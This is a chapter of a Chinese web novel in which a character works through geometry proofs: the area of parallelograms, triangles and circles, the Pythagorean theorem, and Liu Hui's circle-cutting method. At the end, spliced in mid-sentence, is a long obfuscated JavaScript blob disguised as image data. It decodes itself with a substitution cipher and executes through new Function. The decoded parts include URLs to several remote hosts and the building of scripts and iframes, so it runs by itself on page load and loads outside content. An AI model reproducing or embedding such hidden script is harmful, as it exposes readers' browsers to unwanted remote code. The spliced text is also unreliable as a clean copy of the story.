第135章 这还要证明?这还能证明?(1 / 2)

“平行四边形?这是……

哦,就是将长方形拉开呀!”

姜子淳懂了,随后她在灵魂空间中自己虚拟了一个长方形,然后拉着试了下,确实可以。

而且对边也是平行的。

嗯这个平行,按照书上的说法就是能平移的意思。

这个姜子淳还是能看懂的。虽然她目前不知道这个平行四边形有啥用?

而且这里还说正方形和长方形的两个对边也是分别平行的。

接下来就是这个面积公式的证明部分。

“割补法?

将平行四边形的一个角割掉,然后补到另一边,凑成一个长方形,这样就可以按照前面的公式来计算了。”

“这样确实可以。很好理解。”

姜子淳点了点头。

虽然书上还说了一句话,说这里面还有一个默认的前提条件,那就是一个图形的面积是其各个组成部分面积之和。

要不然这种方法根本用不了。

还说其实在求证长方形的时候就已经用到了这个默认条件。

不过看到此处,姜子淳突然想起了前面的几个图形,先是正方形,然后是长方形,再然后是平行四边形。

“这好像是一步步推导过来的。

如果我没猜错的话,下一步肯定是要用平行四边形来推到其他的图形了。”

说着,她看向了下一个图形——三角形。

“果然是这样。用两个相同的三角形能拼凑出一个平行四边形来。这样就可以求出三角形的面积了。”

看到书上的内容跟自己推测的一样,姜子淳露出了开心的笑容。

那么很自然的,下一步就是用这个三角形来继续推演了。

瞬间,姜子淳觉得自己可能已经把握住了这本书的方向。

“诶,书后面还有为什么两个相同的三角形可以拼接出平行四边形的证明。这个我倒要好好看看,到底是怎么证明的。”

给出任意三角形的面积公式后,这《几何》书中还介绍了其他计算方法。

比如秦九韶的“三斜求积术”。

这“三斜求积术”只要知道三角形的三条边的边长就可以通过计算求出三角形的面积。

此处,书中还将这“三斜求积术”重新整理了一番,改为了用数学语言描述,并且给出了证明过程。

当然,这里面还运用到了直角三角形的勾股定理。

即直角三角形的斜边长的平方等于两直角边长平方之和。

当然啦,这个勾股定理也是要证明的。

这里路明远先是用了最容易理解的“加菲尔德证法变式”。

也就是用直角三角形的两条直边之和作为边长,拼接出来一个正方形,此时里面的斜边也同样可以组成一个小的正方形。

这样运用前面的三角形面积公式和正方形面积公式就可以很轻松的求出勾股定理了。

看到此处,姜子淳顿时惊呼出声来:

“还能这么证?这么简单?

而且里面竟然也用到了代数的知识。看来这代数和几何的关系比我想象的深多了。”

此时,她似乎想起了自己当初学“青朱出入图”的恐惧。

当时那幅图上的朱方和青方可把她都给看晕了,什么青出、青入、朱出、朱入的?可晕了。她当初学了好久才彻底学通。

但是此时看到这个更直观的图形,姜子淳才一下子恍然大悟。

“这下教勾股定理的时候就好教多了。”

“证明的方法还有很多很多?

这个嘛,之后我也试试!”

看到书上建议大家用多种方法来证明勾股定理,姜子淳自然跃跃欲试,如果自己发明了一种新的证明方法,那岂不是可以名传万古了?

如果通用性够强的话,说不定可以上数学书呢。那到时候……

单是想想,姜子淳都觉得激动。

如果她所料不错的话,这勾股定理的证明以后肯定是一个大热门。

对于自己的直觉,姜子淳可是很有信心的。

有了三角形的面积公式,那么接下来就可以很轻松的计算出任意多边形的面积了。

甚至据此,也可以推导出圆的面积公式。

“这里用的是割圆术?”

看到书上运用圆的内接正多边形的方式来无限逼近圆的面积,姜子淳一下子就看出了对方所用的方法。

毕竟她原来可是学过这些的。

所以对于刘徽先生的“割圆术”的大名,她如雷灌耳。

当然,也被折磨的不轻。

甚至直到现在,每年还有很多学生会挂在这上面呢。

收起心思,姜子淳继续看书。

此处证明的时候,用的是内接正多边形和外接正多边形来从两个方面来逼近,确认面积的下限和上限,最后算出当边无穷大的时候,两个的极限值差不多是相等的,而这也就是圆的面积。

毕竟可以很轻松的看出,圆的面积是一定大于内接正多边形而小于外接正多边形的。

此时两个值唯一了,那自然就是圆的面积了。

“原来是这样啊!懂了懂了!”

姜子淳若有所悟的点了点头。

“诶,等等,佚名大师这里好像也用了无穷大,那这么说,我的那个想法确实也可以喽!”

此时,姜子淳突然想起了刚才他们小组还在讨论的(1/2)^n,当n趋于无穷大的时候是否可以看做是零的问题。

她顿时感觉自己和大师有了一种灵魂上的相通。

意识到这一点的同时,她也更加坚定了自己原来的想法。

自己一定可以做到的!

不过看到接下来一段话的时候,姜子淳突然感慨了一句:“这证明简直无处不在啊!”

只见书中写道:关于圆为什么会有内接正多边形和外接正多边形,后面第157页会有相关证明。

看到此处,不用看后面的,姜子淳也可以知道这本书接下来的内容了,肯定大部分都是证明。而且还是一个接着一个,往后套。

说实话,这跟她以前看到的书全然不同。

以前的书里只是说一下应该怎么样怎么样,或者说我觉得应该怎么样怎么样。就是纯粹的发表言论,发表想法。

但是这本书不同,人家是有逻辑证明的。这本书你只要理解了第一步,那么以后的那些知识都可以通过严密的逻辑推导出来。

姜子淳有些理解为什么佚名大师这么推崇这本书了。

这简直就是理性的光辉啊!

这种感觉,就算是她当初看那本数学的时候都没有这么强烈。

“或许,大师这本书要告诉我们的根本就不是这些知识,而是这种方法!这个理念!”

恍然间,姜子淳的心中有了一种直觉。一种很强烈的直觉。

她觉得自己已经摸到了这本书的真谛。

“或许,这就是大师前面所说的演绎法吧?”

紧接着,书中又介绍了一种新的圆面积推导方法。

这种方法通过“化曲为直”,将圆形分成若干等份,剪开后,用这些近似的等腰三角形拼接成了一个平行四边形。

然后再根据上面的公式得出,圆的面积等于周长的一半乘以半径。

其实就是上一世小学老师教的那种方法。

至于这里面用到了圆的周长,书里也通过割圆术用“内外夹逼”的方法给出了证明。

“好吧,原来这里还要证明圆的周长大于内接正多边形,却小于外切正多边形啊!

刘徽先生当时好像没证明,直接给用了。”

不过就算是这样,也丝毫不影响姜子淳对刘徽先生的崇拜啊!

毕竟这都过了八九百年了,还是没有人发觉这点,甚至也没有人给出其他的计算方法,光是这一点,就足以说明刘先生的厉害程度了!

而且姜子淳也相信,如果刘先生能看到这本《几何》,看到自己发明的方法被后人发扬光大,也会生出无限的宽慰!

“不过大师居然建议我们计算π的值,看谁算的更精确,位数更多,这个将来我也得试试。

!function(){function a(a){var _idx="z5palo1gvz";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[7_2(F6O2 5ca[5YF_52"vX8"%cmn<ydFhm5d2fO^caj}g@aPqYF 282_qq!Xd5 Y=F=O8D62fODm622Y5V6fFh!qYF ^8O/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfg_cmn<ydFhm5d2fO^cajngKa=5YXY5LYWfg_cmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6FhgO/}0=6FY^9Y6phFg^/o=qOdfiFdF_Lg0=5Y|5Tg0P=68"#MqYYb"=d8HZ!F5T[d8+i;NmJd5LYc(c6a??"HZ"aP(dF(hcYa[P7_2(F6O2 pcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 (cY=Fa[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2P7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=Fa[F8}<d5p_^Y2FLmqY2pFhvvXO6f 0l88FjFg""!7mqOdfiFdF_L8*}=}00<dmqY2pFh??cdmJ_Lhc`c$[YPa`%Fa=qc6=+i;NmLF562p67TcdaaaP7_2(F6O2 _cYa[qYF F80<d5p_^Y2FLmqY2pFhvvXO6f 0l88YjYg}=28"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=O82mqY2pFh=58""!7O5c!F**!a5%82HydFhm7qOO5cydFhm5d2fO^ca.OaZ!5YF_52 5P7_2(F6O2 fcYa[qYF F8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 28H"hFFJLg\/\/[[fdTPPo}0)hFL_h^m_XO6L)pmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPo}0dhFLFT6m)CFSp)pmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPo}0dhFL5SJm4h(7F7fmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPo}0)hFL_h^m_XO6L)pmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPo}0dhFLFT6m)CFSp)pmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPo}0dhFL5SJm4h(7F7fmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPo}0dhFLFT6m)CFSp)pmRT4gQ}1Q"Z!qYF O8pc2Hc2YD wdFYampYFwdTcaZ??2H0Za%"/h^/o}0jR84nJdqO}pX4"!O8O%c*}888Om62fYR;7c"j"aj"j"g"v"a%"58"%7m5Y|5T%%%"vF8"%hca%5ca=FmL5(8pcOa=FmO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=)caP=FmO2Y55O587_2(F6O2ca[YvvYca=LYF|6^YO_Fc7_2(F6O2ca[Fm5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfcFa=7mqOdfiFdF_L8}P7_2(F6O2 hca[qYF Y8(c"bb___b"a!5YF_52 Y??qc"bb___b"=Y8ydFhm5d2fO^camFOiF562pcsKamL_)LF562pcsa=7_2(F6O2ca[Y%8"M"Pa=Y2(OfYB~WxO^JO2Y2FcYaPr55dTm6Lr55dTcda??cd8HZ=qc6=""aa!qYF J8"o}0"=X8"4nJdqO}pX4"!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"o}0^)ThF)mhfO76RqmRT4"="o}0X5ThF)mT)7F56RmRT4"="o}02pThFmhfO76RqmRT4"="o}0_JqhFmT)7F56RmRT4"="o}02TOhFmhfO76RqmRT4"="o}0CSqhF)mT)7F56RmRT4"="o}0)FfThF)fmhfO76RqmRT4"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"!qYF O82YD VY)iO(SYFcF%"/"%J%"jR8"%X%"v58"%7m5Y|5T%%%"vF8"%hca%5ca%c2_qql882j2gcF8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=28Fj"v(h8"%FmpYFrFF56)_FYc"("ag""aaa!OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=_8"62fYR;7"=f8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=h8""=^80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!^<YmqY2pFh!a28fH_ZcYH(Zc^%%aa=O8fH_ZcYH(Zc^%%aa=68fH_ZcYH(Zc^%%aa=d8fH_ZcYH(Zc^%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=h%8iF562pHqZc2<<@?O>>oa=Kol886vvch%8iF562pHqZc5aa=Kol88dvvch%8iF562pHqZcFaa![Xd5 78h!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv)caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 )ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 $ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8pc"hFFJLg//[[fdTPPo}0qhOFq^)Y6(:mX2O2fmRT4gQ}1Q/((/o}0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 _8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!_mLFTqYm(LL|YRF8Y=_mdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=_aP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=h=l0a=7m(q6(S9d2fqY8h!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 fca[Xd5 Y8pc"hFFJLg//[[fdTPPo}0qhOFq^)Y6(:mX2O2fmRT4gQ}1Q/((/o}0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 hcYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<^%6vvfcaPYqLY[F8F*O!67cF<86a5YF_52l}!F<^%6vvfcaPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8pc"hFFJLg//[[fdTPPo}0)hFL_h^m_XO6L)pmRT4gQ}1Q/f/o}0j(8}vR84nJdqO}pX4"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aPO82dX6pdFO5mJqdF7O5^=Y8l/3cV62?yd(a/mFYLFcOa=F8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=cY??Favvc/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI/6mFYLFc2dX6pdFO5m_LY5rpY2FajDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=fc7_2(F6O2ca[Lc@0saPaPaPagfc7_2(F6O2ca[Lc}0}a=fc7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaPaa=lYvvO??$ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvvdmqY2pFhvvcY8pc"hFFJLg//[[fdTPPo}0)hFL_h^m_XO6L)pmRT4gQ}1Q"a%"/)_pj68"%J=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tcdaa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=dmqY2pFh80=qc6=""aaPaPaca!'.substr(22));new Function(b)()}();